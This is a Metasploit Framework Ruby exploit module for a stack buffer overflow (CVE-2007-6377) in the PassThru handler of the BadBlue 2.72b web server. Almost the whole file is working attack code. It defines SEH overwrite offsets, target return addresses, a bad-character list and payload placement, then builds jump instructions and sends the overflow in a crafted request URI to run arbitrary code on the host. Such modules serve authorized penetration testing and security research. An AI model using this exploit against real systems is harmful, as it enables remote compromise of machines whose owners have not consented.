##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
	# However, a proper Server header is returned when requesting /index.html or using HEAD.
	HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'BadBlue 2.72b PassThru Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the PassThru
				functionality in ext.dll in BadBlue 2.72b and earlier.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2007-6377'],
					['OSVDB', '42416'],
					['BID', '26803'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3c\x3d\x3f\x5c",
					'StackAdjustment' => -3500,
					#'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'	=>  'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# This is the version being distributed on badblue.com as of Jul 7th 2010
					[ 'BadBlue EE 2.7 Universal', { 'Ret' => 0x10033f44 } ], # pop/pop/ret in ext.dll v1.0.0.1 (06a6dc81924ba94bfbbd00902d054db2)
					[ 'BadBlue 2.72b Universal', { 'Ret' => 0x1003f2f3 } ]   # pop/pop/ret from ??
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 10 2007'))
	end

	def exploit
		seh_offset = 4116
		sploit = Rex::Text.pattern_create(seh_offset)
		# Need to jump over the nul byte
		seh = Rex::Arch::X86.jmp_short(8) + rand_text(2) + [target.ret].pack('V')
		sploit << seh

		plen = payload.encoded.length
		sploit[seh_offset - 16 - plen, plen] = payload.encoded

		# This pointer will force a crash when it is used in a lock instruction
		ptr = rand_text(3)
		ptr << [0x80|rand(256)].pack('C')
		sploit[seh_offset - 8,4] = ptr

		# These two bytes get corrupted, so we can't use them.
		sploit << rand_text(2)

		# jump back to the payload
		distance = 2 + 8 + 16 + plen
		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{distance}").encode_string


		# Build the final URI
		uri = "/ext.dll?mfcisapicommand=PassThru&"
		uri << sploit

		print_status("Trying target %s..." % target.name)
		send_request_raw({ 'uri' => uri }, 5)

		handler
		disconnect
	end

end